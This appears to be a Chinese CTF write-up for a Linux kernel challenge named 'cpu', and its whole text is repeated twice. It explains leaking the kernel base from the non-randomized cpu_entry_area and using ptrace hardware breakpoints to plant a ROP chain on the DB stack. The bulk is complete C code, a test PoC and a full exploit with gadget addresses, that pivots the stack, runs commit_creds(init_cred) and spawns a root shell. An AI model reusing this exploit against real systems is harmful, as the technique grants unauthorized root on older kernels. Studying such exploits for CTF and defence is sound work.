【cpu
前言
也算学习到了,这样对 DB_stack 的利用与 pt_regs 很相似。都是利用在用户态切换在内核态时,会保存用户态的上下文信息在内核栈中,所以我们就可以控制部分内核栈中的数据,以此为我们栈迁移做好准备。
程序分析
启动脚本啥的都不用看了,基本都是 smap、smep、kaslr 和 kpti 都开启。然后直接看驱动模块吧。
驱动程序也非常简单,一次任意地址4字节数据泄漏和一次任意地址栈迁移的机会:
注意最后这里要看汇编代码:
这里直接将 rbx 的值赋给 rsp,然后 ret,而 rbx 直接来自于 rdx,也就是我们传入的第3个参数:
这中间并没有对 rbx 的值再做任何修改,可以自行查看
漏洞利用
这里漏洞已经白给了,按照题目给了漏洞,我们应当就是先泄漏内核基地址,然后在内核空间布置好 ROP 链,最后直接栈迁移过去。
那么这里就有两个难点了:
1、如何泄漏内核基地址
2、在那里布置 ROP 链
最后选择的是 cpu_entry_area mapping 内核区域。
测试 poc.c:
// poc.c
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <sys/ptrace.h>
#define DB_OFFSET(idx) ((void*)(&(((struct user*)0)->u_debugreg[idx])))
pid_t pid;
int status;
char buf[4];void set_hbp(void *addr)
{if (ptrace(PTRACE_POKEUSER, pid, DB_OFFSET(0), addr) == -1){printf("Failed to set dr_0\n");kill(pid, 9);exit(-1);}unsigned long dr_7 = (1<<0)|(1<<8)|(1<<16)|(1<<17)|(1<<18)|(1<<19);if (ptrace(PTRACE_POKEUSER, pid, DB_OFFSET(7), dr_7) == -1){printf("Failed to set dr_7\n");kill(pid, 9);exit(-1);}
}int main(int argc, char **argv, char **env)
{pid = fork();if (!pid){cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(0, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);ptrace(PTRACE_TRACEME, 0, NULL, NULL);raise(SIGSTOP);__asm__("mov r15, 0x11111111;""mov r14, 0x22222222;""mov r13, 0x33333333;""mov r12, 0x44444444;""mov rbp, 0x55555555;""mov rbx, 0x66666666;""mov r11, 0x77777777;""mov r10, 0x88888888;""mov r9, 0x99999999;""mov r8, 0xaaaaaaaa;""mov rax, 0xbbbbbbbb;""mov rcx, 0xcccccccc;""mov rdx, 0xdddddddd;""mov rsi, 0xeeeeeeee;""mov rdi, 0xffffffff;");buf[0] = 0;exit(1);}waitpid(pid, &status, 0);set_hbp(buf);ptrace(PTRACE_CONT, pid, NULL, NULL);waitpid(pid, &status, 0);ptrace(PTRACE_CONT, pid, NULL, NULL);waitpid(pid, &status, 0);return 0;
}
在 linux 6.2 之前,该区域不参与随机化,并且在该区域存在内核地址,所以我们可以直接泄漏内核基地址:
并且通过下硬件断点在用户态触发的方式,可以将寄存器内容推送到与per cpu entry area固定偏移的DB stack上,所以我们可以在 DB stack 上布置好我们的 ROP 链,最后直接栈迁移过去即可:
exp如下:
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <sys/ptrace.h>#define DR_OFFSET(idx) ((void*)(&(((struct user*)0)->u_debugreg[idx])))
size_t swapgs_kpti = 0xFFFFFFFF82000F01;
size_t init_cred = 0xffffffff82a4cbf8;
size_t commit_creds = 0xffffffff810bb5b0;
size_t pop_rdi = 0xffffffff81002c9d; // pop rdi ; retint fd;
pid_t pid;
int status;
char buf[4];
size_t kernel_offset;size_t leak(size_t addr) { return ioctl(fd, 0x5555, addr); }
void set_rsp(size_t rsp) { ioctl(fd, 0x6666, rsp); }void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}void set_hbp(void *addr)
{if (ptrace(PTRACE_POKEUSER, pid, DR_OFFSET(0), addr) == -1){printf("Failed to set dr_0\n");kill(pid, 9);exit(-1);}unsigned long dr_7 = (1<<0)|(1<<8)|(1<<16)|(1<<17)|(1<<18)|(1<<19);if (ptrace(PTRACE_POKEUSER, pid, DR_OFFSET(7), dr_7) == -1){printf("Failed to set dr_7\n");kill(pid, 9);exit(-1);}
}int main(int argc, char **argv, char **env)
{fd = open("/dev/seven", O_RDWR);if (fd < 0) err_exit("Open dev file");kernel_offset = (leak(0xfffffe0000000000+4)&0xffffffff) - 0x82008e00;hexx("kernel_offset", kernel_offset);swapgs_kpti += kernel_offset;init_cred += kernel_offset;commit_creds += kernel_offset;pop_rdi += kernel_offset;pid = fork();if (!pid){bind_core(0);ptrace(PTRACE_TRACEME, 0, NULL, NULL);raise(SIGSTOP);__asm__ volatile("mov rax, pop_rdi;""mov rcx, init_cred;""mov rdx, commit_creds;""mov rsi, swapgs_kpti;");buf[0] = 1;set_rsp(0xfffffe0000010fa8);hexx("UID", getuid());system("/bin/sh");exit(0);}waitpid(pid, &status, 0);set_hbp(buf);ptrace(PTRACE_CONT, pid, NULL, NULL);waitpid(pid, &status, 0);ptrace(PTRACE_CONT, pid, NULL, NULL);waitpid(pid, &status, 0);return 0;
}
最后可以稳定提权:
【cpu
前言
也算学习到了,这样对 DB_stack 的利用与 pt_regs 很相似。都是利用在用户态切换在内核态时,会保存用户态的上下文信息在内核栈中,所以我们就可以控制部分内核栈中的数据,以此为我们栈迁移做好准备。
程序分析
启动脚本啥的都不用看了,基本都是 smap、smep、kaslr 和 kpti 都开启。然后直接看驱动模块吧。
驱动程序也非常简单,一次任意地址4字节数据泄漏和一次任意地址栈迁移的机会:
注意最后这里要看汇编代码:
这里直接将 rbx 的值赋给 rsp,然后 ret,而 rbx 直接来自于 rdx,也就是我们传入的第3个参数:
这中间并没有对 rbx 的值再做任何修改,可以自行查看
漏洞利用
这里漏洞已经白给了,按照题目给了漏洞,我们应当就是先泄漏内核基地址,然后在内核空间布置好 ROP 链,最后直接栈迁移过去。
那么这里就有两个难点了:
1、如何泄漏内核基地址
2、在那里布置 ROP 链
最后选择的是 cpu_entry_area mapping 内核区域。
测试 poc.c:
// poc.c
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <sys/ptrace.h>
#define DB_OFFSET(idx) ((void*)(&(((struct user*)0)->u_debugreg[idx])))
pid_t pid;
int status;
char buf[4];void set_hbp(void *addr)
{if (ptrace(PTRACE_POKEUSER, pid, DB_OFFSET(0), addr) == -1){printf("Failed to set dr_0\n");kill(pid, 9);exit(-1);}unsigned long dr_7 = (1<<0)|(1<<8)|(1<<16)|(1<<17)|(1<<18)|(1<<19);if (ptrace(PTRACE_POKEUSER, pid, DB_OFFSET(7), dr_7) == -1){printf("Failed to set dr_7\n");kill(pid, 9);exit(-1);}
}int main(int argc, char **argv, char **env)
{pid = fork();if (!pid){cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(0, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);ptrace(PTRACE_TRACEME, 0, NULL, NULL);raise(SIGSTOP);__asm__("mov r15, 0x11111111;""mov r14, 0x22222222;""mov r13, 0x33333333;""mov r12, 0x44444444;""mov rbp, 0x55555555;""mov rbx, 0x66666666;""mov r11, 0x77777777;""mov r10, 0x88888888;""mov r9, 0x99999999;""mov r8, 0xaaaaaaaa;""mov rax, 0xbbbbbbbb;""mov rcx, 0xcccccccc;""mov rdx, 0xdddddddd;""mov rsi, 0xeeeeeeee;""mov rdi, 0xffffffff;");buf[0] = 0;exit(1);}waitpid(pid, &status, 0);set_hbp(buf);ptrace(PTRACE_CONT, pid, NULL, NULL);waitpid(pid, &status, 0);ptrace(PTRACE_CONT, pid, NULL, NULL);waitpid(pid, &status, 0);return 0;
}
在 linux 6.2 之前,该区域不参与随机化,并且在该区域存在内核地址,所以我们可以直接泄漏内核基地址:
并且通过下硬件断点在用户态触发的方式,可以将寄存器内容推送到与per cpu entry area固定偏移的DB stack上,所以我们可以在 DB stack 上布置好我们的 ROP 链,最后直接栈迁移过去即可:
exp如下:
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <sys/ptrace.h>#define DR_OFFSET(idx) ((void*)(&(((struct user*)0)->u_debugreg[idx])))
size_t swapgs_kpti = 0xFFFFFFFF82000F01;
size_t init_cred = 0xffffffff82a4cbf8;
size_t commit_creds = 0xffffffff810bb5b0;
size_t pop_rdi = 0xffffffff81002c9d; // pop rdi ; retint fd;
pid_t pid;
int status;
char buf[4];
size_t kernel_offset;size_t leak(size_t addr) { return ioctl(fd, 0x5555, addr); }
void set_rsp(size_t rsp) { ioctl(fd, 0x6666, rsp); }void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}void set_hbp(void *addr)
{if (ptrace(PTRACE_POKEUSER, pid, DR_OFFSET(0), addr) == -1){printf("Failed to set dr_0\n");kill(pid, 9);exit(-1);}unsigned long dr_7 = (1<<0)|(1<<8)|(1<<16)|(1<<17)|(1<<18)|(1<<19);if (ptrace(PTRACE_POKEUSER, pid, DR_OFFSET(7), dr_7) == -1){printf("Failed to set dr_7\n");kill(pid, 9);exit(-1);}
}int main(int argc, char **argv, char **env)
{fd = open("/dev/seven", O_RDWR);if (fd < 0) err_exit("Open dev file");kernel_offset = (leak(0xfffffe0000000000+4)&0xffffffff) - 0x82008e00;hexx("kernel_offset", kernel_offset);swapgs_kpti += kernel_offset;init_cred += kernel_offset;commit_creds += kernel_offset;pop_rdi += kernel_offset;pid = fork();if (!pid){bind_core(0);ptrace(PTRACE_TRACEME, 0, NULL, NULL);raise(SIGSTOP);__asm__ volatile("mov rax, pop_rdi;""mov rcx, init_cred;""mov rdx, commit_creds;""mov rsi, swapgs_kpti;");buf[0] = 1;set_rsp(0xfffffe0000010fa8);hexx("UID", getuid());system("/bin/sh");exit(0);}waitpid(pid, &status, 0);set_hbp(buf);ptrace(PTRACE_CONT, pid, NULL, NULL);waitpid(pid, &status, 0);ptrace(PTRACE_CONT, pid, NULL, NULL);waitpid(pid, &status, 0);return 0;
}
最后可以稳定提权: